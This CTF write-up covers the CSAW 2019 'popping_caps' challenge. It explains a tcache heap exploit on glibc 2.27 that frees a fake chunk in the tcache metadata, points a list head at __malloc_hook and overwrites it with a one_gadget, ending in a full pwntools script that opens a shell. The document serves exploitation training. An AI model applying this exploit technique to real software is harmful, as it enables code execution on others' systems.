# popping caps 0
Let's take a look at the binary and libc:
```$ pwn checksec popping_caps[*] '/Hackery/pod/modules/44-more_tcache/csaw19_popping_caps1/popping_caps'    Arch:     amd64-64-little    RELRO:    No RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled$ file popping_capspopping_caps: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0b94b47318011a2516372524e7aaa0caeda06c79, not stripped$ ./libc.so.6GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.Copyright (C) 2018 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 7.3.0.libc ABIs: UNIQUE IFUNCFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.$ /popping_capsHere is system 0x7f8dfb387fd0You have 7 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice:```
First off we are dealing with libc version `2.27` (so we get to use the tcache). This binary has all of the standard mitigations except for RELRO. When we run it, we get a libc infoleak, and have the ability to malloc, free, and write.
## Reversing
When we take a look at the main function in Ghidra, we see this:
```undefined8 main(void)
{  ulong choice;  size_t size;  long number;  long idk;  void *ptr;  void *ptrCopy;   setvbuf(stdout,(char *)0x0,2,0);  setvbuf(stdin,(char *)0x0,2,0);  setvbuf(stderr,(char *)0x0,2,0);  printf("Here is system %p\n",system);  idk = 7;  ptr = (void *)0x0;  ptrCopy = (void *)0x0;  while (idk != 0) {    printf("You have %llu caps!\n",idk);    puts("[1] Malloc");    puts("[2] Free");    puts("[3] Write");    puts("[4] Bye");    puts("Your choice: ");    choice = read_num();    if (choice == 2) {      puts("Whats in a free: ");      number = read_num();      free((void *)((long)ptr + number));      if (ptr == ptrCopy) {        ptrCopy = (void *)0x0;      }    }    else {      if (choice < 3) {        if (choice == 1) {          puts("How many: ");          size = read_num();          ptr = malloc(size);          ptrCopy = ptr;        }      }      else {        if (choice == 3) {          puts("Read me in: ");          read(0,ptrCopy,8);        }        else {          if (choice == 4) {            bye();          }        }      }    }    puts("BANG!");    idk = idk + -1;  }  bye();  return 0;}```
So we can see a few things here. First we can allocate a chunk of a particular size, which is then stored in `ptrCopy` and `ptr`. Proceeding that, we can also scan in `0x8` bytes into the address pointed to by `ptrCopy`. Also the free works by us providing an offset to `ptr`, which is then freed. After we free it zeroes out `ptrCopy`, but not `ptr`. So after we free once, we will have to allocate another chunk before we can do another write. Also we don’t see any simple way of getting another infoleak.
Also one other important thing, we only get `7` actions (with an action being a read, write, or free). After that `bye` is run which the program calls `malloc` and `exit`:
```void bye(void)
{  fwrite(&DAT_00100d04,1,4,stdout);  malloc(0x38);                    /* WARNING: Subroutine does not return */  exit(0);}```
## Exploitation
So for exploiting this code, we will be attacking the tcache. Particularly where the tcache stores the beginning of the various linked lists that makes up the tcache, and the corresponding counts. This is stored in a chunk at the beginning of the heap. For a better understanding of this, let's take a look at it:
```gef➤  vmmapStart              End                Offset             Perm Path0x000056054637b000 0x000056054637c000 0x0000000000000000 r-x /home/guyinatuxedo/Desktop/popping/popping_caps0x000056054657c000 0x000056054657d000 0x0000000000001000 rw- /home/guyinatuxedo/Desktop/popping/popping_caps0x0000560548324000 0x0000560548345000 0x0000000000000000 rw- [heap]0x00007f1e4b9c3000 0x00007f1e4bbaa000 0x0000000000000000 r-x /home/guyinatuxedo/Desktop/popping/libc.so.60x00007f1e4bbaa000 0x00007f1e4bdaa000 0x00000000001e7000 --- /home/guyinatuxedo/Desktop/popping/libc.so.60x00007f1e4bdaa000 0x00007f1e4bdae000 0x00000000001e7000 r-- /home/guyinatuxedo/Desktop/popping/libc.so.60x00007f1e4bdae000 0x00007f1e4bdb0000 0x00000000001eb000 rw- /home/guyinatuxedo/Desktop/popping/libc.so.60x00007f1e4bdb0000 0x00007f1e4bdb4000 0x0000000000000000 rw-0x00007f1e4bdb4000 0x00007f1e4bddb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so0x00007f1e4bfd9000 0x00007f1e4bfdb000 0x0000000000000000 rw-0x00007f1e4bfdb000 0x00007f1e4bfdc000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so0x00007f1e4bfdc000 0x00007f1e4bfdd000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so0x00007f1e4bfdd000 0x00007f1e4bfde000 0x0000000000000000 rw-0x00007ffc5924c000 0x00007ffc5926d000 0x0000000000000000 rw- [stack]0x00007ffc593ce000 0x00007ffc593d1000 0x0000000000000000 r-- [vvar]0x00007ffc593d1000 0x00007ffc593d2000 0x0000000000000000 r-x [vdso]0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]gef➤  x/100g 0x00005605483240000x560548324000: 0x0 0x2510x560548324010: 0x0 0x00x560548324020: 0x0 0x00x560548324030: 0x0 0x00x560548324040: 0x0 0x00x560548324050: 0x0 0x00x560548324060: 0x0 0x00x560548324070: 0x0 0x00x560548324080: 0x0 0x00x560548324090: 0x0 0x00x5605483240a0: 0x0 0x00x5605483240b0: 0x0 0x00x5605483240c0: 0x0 0x00x5605483240d0: 0x0 0x00x5605483240e0: 0x0 0x00x5605483240f0: 0x0 0x00x560548324100: 0x0 0x00x560548324110: 0x0 0x00x560548324120: 0x0 0x00x560548324130: 0x0 0x00x560548324140: 0x0 0x00x560548324150: 0x0 0x00x560548324160: 0x0 0x00x560548324170: 0x0 0x00x560548324180: 0x0 0x00x560548324190: 0x0 0x00x5605483241a0: 0x0 0x00x5605483241b0: 0x0 0x00x5605483241c0: 0x0 0x00x5605483241d0: 0x0 0x00x5605483241e0: 0x0 0x00x5605483241f0: 0x0 0x00x560548324200: 0x0 0x00x560548324210: 0x0 0x00x560548324220: 0x0 0x00x560548324230: 0x0 0x00x560548324240: 0x0 0x00x560548324250: 0x0 0x910x560548324260: 0x0 0x00x560548324270: 0x0 0x00x560548324280: 0x0 0x00x560548324290: 0x0 0x00x5605483242a0: 0x0 0x00x5605483242b0: 0x0 0x00x5605483242c0: 0x0 0x00x5605483242d0: 0x0 0x00x5605483242e0: 0x0 0x20d210x5605483242f0: 0x0 0x00x560548324300: 0x0 0x00x560548324310: 0x0 0x0```
So we can see the chunk we were talking about the beginning, with a size of `0x251`. We can also see another chunk we allocated at `0x560548324250` with the size `0x91`. Let's free it and have it inserted into the tcache:
```gef➤  x/100g 0x00005605483240000x560548324000: 0x0 0x2510x560548324010: 0x100000000000000 0x00x560548324020: 0x0 0x00x560548324030: 0x0 0x00x560548324040: 0x0 0x00x560548324050: 0x0 0x00x560548324060: 0x0 0x00x560548324070: 0x0 0x00x560548324080: 0x0 0x5605483242600x560548324090: 0x0 0x00x5605483240a0: 0x0 0x00x5605483240b0: 0x0 0x00x5605483240c0: 0x0 0x00x5605483240d0: 0x0 0x00x5605483240e0: 0x0 0x00x5605483240f0: 0x0 0x00x560548324100: 0x0 0x00x560548324110: 0x0 0x00x560548324120: 0x0 0x00x560548324130: 0x0 0x00x560548324140: 0x0 0x00x560548324150: 0x0 0x00x560548324160: 0x0 0x00x560548324170: 0x0 0x00x560548324180: 0x0 0x00x560548324190: 0x0 0x00x5605483241a0: 0x0 0x00x5605483241b0: 0x0 0x00x5605483241c0: 0x0 0x00x5605483241d0: 0x0 0x00x5605483241e0: 0x0 0x00x5605483241f0: 0x0 0x00x560548324200: 0x0 0x00x560548324210: 0x0 0x00x560548324220: 0x0 0x00x560548324230: 0x0 0x00x560548324240: 0x0 0x00x560548324250: 0x0 0x910x560548324260: 0x0 0x00x560548324270: 0x0 0x00x560548324280: 0x0 0x00x560548324290: 0x0 0x00x5605483242a0: 0x0 0x00x5605483242b0: 0x0 0x00x5605483242c0: 0x0 0x00x5605483242d0: 0x0 0x00x5605483242e0: 0x0 0x20d210x5605483242f0: 0x0 0x00x560548324300: 0x0 0x00x560548324310: 0x0 0x0```
So we can see a pointer to the freed chunk (which is now in the tcache) ended up in the upper chunk. We also see the corresponding byte for that count of the linked list associated with chunks of that size has been incremented. So for how we will start off by allocating a chunk of size `0x3b0`:
```gef➤  x/100g 0x0000560eee9a50000x560eee9a5000: 0x0 0x2510x560eee9a5010: 0x0 0x00x560eee9a5020: 0x0 0x00x560eee9a5030: 0x0 0x00x560eee9a5040: 0x0 0x00x560eee9a5050: 0x0 0x00x560eee9a5060: 0x0 0x00x560eee9a5070: 0x0 0x00x560eee9a5080: 0x0 0x00x560eee9a5090: 0x0 0x00x560eee9a50a0: 0x0 0x00x560eee9a50b0: 0x0 0x00x560eee9a50c0: 0x0 0x00x560eee9a50d0: 0x0 0x00x560eee9a50e0: 0x0 0x00x560eee9a50f0: 0x0 0x00x560eee9a5100: 0x0 0x00x560eee9a5110: 0x0 0x00x560eee9a5120: 0x0 0x00x560eee9a5130: 0x0 0x00x560eee9a5140: 0x0 0x00x560eee9a5150: 0x0 0x00x560eee9a5160: 0x0 0x00x560eee9a5170: 0x0 0x00x560eee9a5180: 0x0 0x00x560eee9a5190: 0x0 0x00x560eee9a51a0: 0x0 0x00x560eee9a51b0: 0x0 0x00x560eee9a51c0: 0x0 0x00x560eee9a51d0: 0x0 0x00x560eee9a51e0: 0x0 0x00x560eee9a51f0: 0x0 0x00x560eee9a5200: 0x0 0x00x560eee9a5210: 0x0 0x00x560eee9a5220: 0x0 0x00x560eee9a5230: 0x0 0x00x560eee9a5240: 0x0 0x00x560eee9a5250: 0x0 0x3b10x560eee9a5260: 0x0 0x00x560eee9a5270: 0x0 0x00x560eee9a5280: 0x0 0x00x560eee9a5290: 0x0 0x00x560eee9a52a0: 0x0 0x00x560eee9a52b0: 0x0 0x00x560eee9a52c0: 0x0 0x00x560eee9a52d0: 0x0 0x00x560eee9a52e0: 0x0 0x00x560eee9a52f0: 0x0 0x00x560eee9a5300: 0x0 0x00x560eee9a5310: 0x0 0x0```
Proceeding that, we will free that chunk. This will insert a pointer to it as the head of the linked list for it's idx, and increment the corresponding count:
```gef➤  x/100g 0x0000560eee9a50000x560eee9a5000: 0x0 0x2510x560eee9a5010: 0x0 0x00x560eee9a5020: 0x0 0x00x560eee9a5030: 0x0 0x00x560eee9a5040: 0x0 0x1000x560eee9a5050: 0x0 0x00x560eee9a5060: 0x0 0x00x560eee9a5070: 0x0 0x00x560eee9a5080: 0x0 0x00x560eee9a5090: 0x0 0x00x560eee9a50a0: 0x0 0x00x560eee9a50b0: 0x0 0x00x560eee9a50c0: 0x0 0x00x560eee9a50d0: 0x0 0x00x560eee9a50e0: 0x0 0x00x560eee9a50f0: 0x0 0x00x560eee9a5100: 0x0 0x00x560eee9a5110: 0x0 0x00x560eee9a5120: 0x0 0x00x560eee9a5130: 0x0 0x00x560eee9a5140: 0x0 0x00x560eee9a5150: 0x0 0x00x560eee9a5160: 0x0 0x00x560eee9a5170: 0x0 0x00x560eee9a5180: 0x0 0x00x560eee9a5190: 0x0 0x00x560eee9a51a0: 0x0 0x00x560eee9a51b0: 0x0 0x00x560eee9a51c0: 0x0 0x00x560eee9a51d0: 0x0 0x00x560eee9a51e0: 0x0 0x00x560eee9a51f0: 0x0 0x00x560eee9a5200: 0x0 0x00x560eee9a5210: 0x0 0x560eee9a52600x560eee9a5220: 0x0 0x00x560eee9a5230: 0x0 0x00x560eee9a5240: 0x0 0x00x560eee9a5250: 0x0 0x3b10x560eee9a5260: 0x0 0x00x560eee9a5270: 0x0 0x00x560eee9a5280: 0x0 0x00x560eee9a5290: 0x0 0x00x560eee9a52a0: 0x0 0x00x560eee9a52b0: 0x0 0x00x560eee9a52c0: 0x0 0x00x560eee9a52d0: 0x0 0x00x560eee9a52e0: 0x0 0x00x560eee9a52f0: 0x0 0x00x560eee9a5300: 0x0 0x00x560eee9a5310: 0x0 0x0```
As you can see, the `0x1` for the idx maps to the byte `0x560eee9a5049`. This also happens to make for a perfect fake chunk header with size `0x100`. Next we will free the fake chunk we just created, which will insert it into the tcache. Also the reason why we choose that spot, is the linked list pointers will begin at `0x560eee9a5050`, which we will be able to write to:```gef➤  x/100g 0x0000560eee9a50000x560eee9a5000: 0x0 0x2510x560eee9a5010: 0x0 0x10000000000000x560eee9a5020: 0x0 0x00x560eee9a5030: 0x0 0x00x560eee9a5040: 0x0 0x1000x560eee9a5050: 0x0 0x00x560eee9a5060: 0x0 0x00x560eee9a5070: 0x0 0x00x560eee9a5080: 0x0 0x00x560eee9a5090: 0x0 0x00x560eee9a50a0: 0x0 0x00x560eee9a50b0: 0x0 0x00x560eee9a50c0: 0x560eee9a5050  0x00x560eee9a50d0: 0x0 0x00x560eee9a50e0: 0x0 0x00x560eee9a50f0: 0x0 0x00x560eee9a5100: 0x0 0x00x560eee9a5110: 0x0 0x00x560eee9a5120: 0x0 0x00x560eee9a5130: 0x0 0x00x560eee9a5140: 0x0 0x00x560eee9a5150: 0x0 0x00x560eee9a5160: 0x0 0x00x560eee9a5170: 0x0 0x00x560eee9a5180: 0x0 0x00x560eee9a5190: 0x0 0x00x560eee9a51a0: 0x0 0x00x560eee9a51b0: 0x0 0x00x560eee9a51c0: 0x0 0x00x560eee9a51d0: 0x0 0x00x560eee9a51e0: 0x0 0x00x560eee9a51f0: 0x0 0x00x560eee9a5200: 0x0 0x00x560eee9a5210: 0x0 0x560eee9a52600x560eee9a5220: 0x0 0x00x560eee9a5230: 0x0 0x00x560eee9a5240: 0x0 0x00x560eee9a5250: 0x0 0x3b10x560eee9a5260: 0x0 0x00x560eee9a5270: 0x0 0x00x560eee9a5280: 0x0 0x00x560eee9a5290: 0x0 0x00x560eee9a52a0: 0x0 0x00x560eee9a52b0: 0x0 0x00x560eee9a52c0: 0x0 0x00x560eee9a52d0: 0x0 0x00x560eee9a52e0: 0x0 0x00x560eee9a52f0: 0x0 0x00x560eee9a5300: 0x0 0x00x560eee9a5310: 0x0 0x0```
As we can see here, the chunk `0x560eee9a5050` has been inserted into the tcache. Next we will allocate it with malloc:```gef➤  x/100g 0x0000560eee9a50000x560eee9a5000: 0x0 0x2510x560eee9a5010: 0x0 0x00x560eee9a5020: 0x0 0x00x560eee9a5030: 0x0 0x00x560eee9a5040: 0x0 0x1000x560eee9a5050: 0x0 0x00x560eee9a5060: 0x0 0x00x560eee9a5070: 0x0 0x00x560eee9a5080: 0x0 0x00x560eee9a5090: 0x0 0x00x560eee9a50a0: 0x0 0x00x560eee9a50b0: 0x0 0x00x560eee9a50c0: 0x0 0x00x560eee9a50d0: 0x0 0x00x560eee9a50e0: 0x0 0x00x560eee9a50f0: 0x0 0x00x560eee9a5100: 0x0 0x00x560eee9a5110: 0x0 0x00x560eee9a5120: 0x0 0x00x560eee9a5130: 0x0 0x00x560eee9a5140: 0x0 0x00x560eee9a5150: 0x0 0x00x560eee9a5160: 0x0 0x00x560eee9a5170: 0x0 0x00x560eee9a5180: 0x0 0x00x560eee9a5190: 0x0 0x00x560eee9a51a0: 0x0 0x00x560eee9a51b0: 0x0 0x00x560eee9a51c0: 0x0 0x00x560eee9a51d0: 0x0 0x00x560eee9a51e0: 0x0 0x00x560eee9a51f0: 0x0 0x00x560eee9a5200: 0x0 0x00x560eee9a5210: 0x0 0x560eee9a52600x560eee9a5220: 0x0 0x00x560eee9a5230: 0x0 0x00x560eee9a5240: 0x0 0x00x560eee9a5250: 0x0 0x3b10x560eee9a5260: 0x0 0x00x560eee9a5270: 0x0 0x00x560eee9a5280: 0x0 0x00x560eee9a5290: 0x0 0x00x560eee9a52a0: 0x0 0x00x560eee9a52b0: 0x0 0x00x560eee9a52c0: 0x0 0x00x560eee9a52d0: 0x0 0x00x560eee9a52e0: 0x0 0x00x560eee9a52f0: 0x0 0x00x560eee9a5300: 0x0 0x00x560eee9a5310: 0x0 0x0```
Now `ptrCopy` points to `0x560eee9a5050`. We will now write to it the address of the malloc hook, which we know from the libc base address:
```gef➤  x/100g 0x0000560eee9a50000x560eee9a5000: 0x0 0x2510x560eee9a5010: 0x0 0x00x560eee9a5020: 0x0 0x00x560eee9a5030: 0x0 0x00x560eee9a5040: 0x0 0x1000x560eee9a5050: 0x7f81fad74c30  0x00x560eee9a5060: 0x0 0x00x560eee9a5070: 0x0 0x00x560eee9a5080: 0x0 0x00x560eee9a5090: 0x0 0x00x560eee9a50a0: 0x0 0x00x560eee9a50b0: 0x0 0x00x560eee9a50c0: 0x0 0x00x560eee9a50d0: 0x0 0x00x560eee9a50e0: 0x0 0x00x560eee9a50f0: 0x0 0x00x560eee9a5100: 0x0 0x00x560eee9a5110: 0x0 0x00x560eee9a5120: 0x0 0x00x560eee9a5130: 0x0 0x00x560eee9a5140: 0x0 0x00x560eee9a5150: 0x0 0x00x560eee9a5160: 0x0 0x00x560eee9a5170: 0x0 0x00x560eee9a5180: 0x0 0x00x560eee9a5190: 0x0 0x00x560eee9a51a0: 0x0 0x00x560eee9a51b0: 0x0 0x00x560eee9a51c0: 0x0 0x00x560eee9a51d0: 0x0 0x00x560eee9a51e0: 0x0 0x00x560eee9a51f0: 0x0 0x00x560eee9a5200: 0x0 0x00x560eee9a5210: 0x0 0x560eee9a52600x560eee9a5220: 0x0 0x00x560eee9a5230: 0x0 0x00x560eee9a5240: 0x0 0x00x560eee9a5250: 0x0 0x3b10x560eee9a5260: 0x0 0x00x560eee9a5270: 0x0 0x00x560eee9a5280: 0x0 0x00x560eee9a5290: 0x0 0x00x560eee9a52a0: 0x0 0x00x560eee9a52b0: 0x0 0x00x560eee9a52c0: 0x0 0x00x560eee9a52d0: 0x0 0x00x560eee9a52e0: 0x0 0x00x560eee9a52f0: 0x0 0x00x560eee9a5300: 0x0 0x00x560eee9a5310: 0x0 0x0gef➤  x/g 0x7f81fad74c300x7f81fad74c30 <__malloc_hook>: 0x0```
Now the head of the linked list for the smallest size idx points to the malloc hook. We will just allocate the chunk, and write to it the address of a oneshot gadget in the libc. Here is the value before the write:
```───────────────────────────────────────────────────────────────────── stack ────0x00007ffe039d1ce0│+0x0000: 0x00007f81fad8a9a0  →  <_dl_fini+0> push rbp   ← $rsp0x00007ffe039d1ce8│+0x0008: 0x00000000000000000x00007ffe039d1cf0│+0x0010: 0x00007f81fad74c30  →  0x00000000000000000x00007ffe039d1cf8│+0x0018: 0x00007f81fad74c30  →  0x00000000000000000x00007ffe039d1d00│+0x0020: 0x00000000000000030x00007ffe039d1d08│+0x0028: 0x0000560eee9a5050  →  0x00000000000000000x00007ffe039d1d10│+0x0030: 0x0000560eed594c80  →   push r15   ← $rbp0x00007ffe039d1d18│+0x0038: 0x00007f81fa9aab97  →  <__libc_start_main+231> mov edi, eax─────────────────────────────────────────────────────────────── code:x86:64 ────   0x560eed594c37                  mov    edx, 0x8   0x560eed594c3c                  mov    rsi, rax   0x560eed594c3f                  mov    edi, 0x0 → 0x560eed594c44                  call   0x560eed594870   ↳  0x560eed594870                  jmp    QWORD PTR [rip+0x2009f2]        # 0x560eed795268      0x560eed594876                  push   0x4      0x560eed59487b                  jmp    0x560eed594820      0x560eed594880                  jmp    QWORD PTR [rip+0x2009ea]        # 0x560eed795270      0x560eed594886                  push   0x5      0x560eed59488b                  jmp    0x560eed594820─────────────────────────────────────────────────────── arguments (guessed) ────0x560eed594870 (   $rdi = 0x0000000000000000,   $rsi = 0x00007f81fad74c30 → 0x0000000000000000,   $rdx = 0x0000000000000008)─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "popping_caps", stopped, reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0x560eed594c44 → call 0x560eed594870[#1] 0x7f81fad8a9a0 → push rbp────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x0000560eed594c44 in ?? ()gef➤  x/g 0x00007f81fad74c300x7f81fad74c30 <__malloc_hook>: 0x0```
After the write:
```gef➤  x/g 0x00007f81fad74c300x7f81fad74c30 <__malloc_hook>: 0x00007f81faa9338c```
Also this is how we find the oneshot gadget:
```one_gadget libc.so.60x4f2c5 execve("/bin/sh", rsp+0x40, environ)constraints:  rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)constraints:  [rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL```
After that, our seven actions are called. The function `bye` is called which calls malloc, and executes our oneshot gadget, and we get a shell!
## Exploit
Putting it all together, we have the following exploit:
```from pwn import *
target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})
#target = remote("pwn.chal.csaw.io", 1001)libc = ELF("libc.so.6")#gdb.attach(target, gdbscript = 'pie b *0xc44')
mallocHook = 0x3ebc30salvation = 0x3ebb90
leak = target.recvuntil("Here is system ")leak = target.recvline()leak = leak.strip("\n")leak = int(leak, 16)
libcBase = leak - libc.symbols["system"]print "libc base: " + hex(libcBase)
def pl():    print target.recvuntil("Your choice:")
def malloc(x):    pl()    target.sendline("1")    print target.recvuntil("How many:")    target.sendline(str(x))
def write(x):    pl()    target.sendline("3")    print target.recvuntil("Read me in:")    target.send(x)
def free(x):    pl()    target.sendline("2")    print target.recvuntil("Whats in a free:")    target.sendline(str(x))
mallocHook = libcBase + libc.symbols["__malloc_hook"]salvation = libcBase + salvationprint "malloc hook: " + hex(libcBase + libc.symbols["__malloc_hook"])print "free hook: " + hex(libcBase + libc.symbols["__free_hook"])print "salvation: " + hex(salvation)
malloc(0x3a0)
free(0)
free(-528)
malloc(0xf0)
write(p64(mallocHook))
malloc(0x0)
write(p64(libcBase + 0x10a38c))
target.interactive()```
When we run it:```$ python exploit.py[+] Starting local process './popping_caps': pid 3821[*] '/home/guyinatuxedo/Desktop/popping/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabledlibc base: 0x7f08f11fa000malloc hook: 0x7f08f15e5c30free hook: 0x7f08f15e78e8salvation: 0x7f08f15e5b90You have 7 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 6 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Whats in a free: BANG!You have 5 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Whats in a free: BANG!You have 4 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 3 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Read me in: BANG!You have 2 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: How many: BANG!You have 1 caps![1] Malloc[2] Free[3] Write[4] ByeYour choice: Read me in:[*] Switching to interactive mode BANG!Bye!$ w 22:34:28 up 21 min,  1 user,  load average: 0.03, 0.03, 0.08USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHATguyinatu :0       :0               22:13   ?xdm?  26.87s  0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu$ lscore  exploit.py  libc.so.6  peda-session-popping_caps.txt  popping_caps$[*] Interrupted[*] Stopped process './popping_caps' (pid 3821)```
Just like that, we popped a shell!